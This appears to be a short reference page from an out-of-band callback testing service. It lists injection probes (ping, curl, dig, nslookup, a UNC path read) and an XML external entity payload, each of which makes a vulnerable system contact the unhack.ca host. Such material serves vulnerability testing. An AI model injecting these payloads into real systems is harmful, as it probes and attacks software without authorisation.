$ ping -c1 -p 00ac0176ea15f70660986d8583a13200 unhack.ca
 

$ curl http://unhack.ca/p/ac0176ea15f70660986d8583a132
 

$ dig ac0176ea15f70660986d8583a132 @unhack.ca
 

$ dig ac0176ea15f70660986d8583a132.ns.unhack.ca
 

C:\> nslookup ac0176ea15f70660986d8583a132 unhack.ca
 

C:\> type \\unhack.ca\ac0176ea15f70660986d8583a132\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ac0176ea15f70660986d8583a132">]>
    <foo>&xxe;</foo>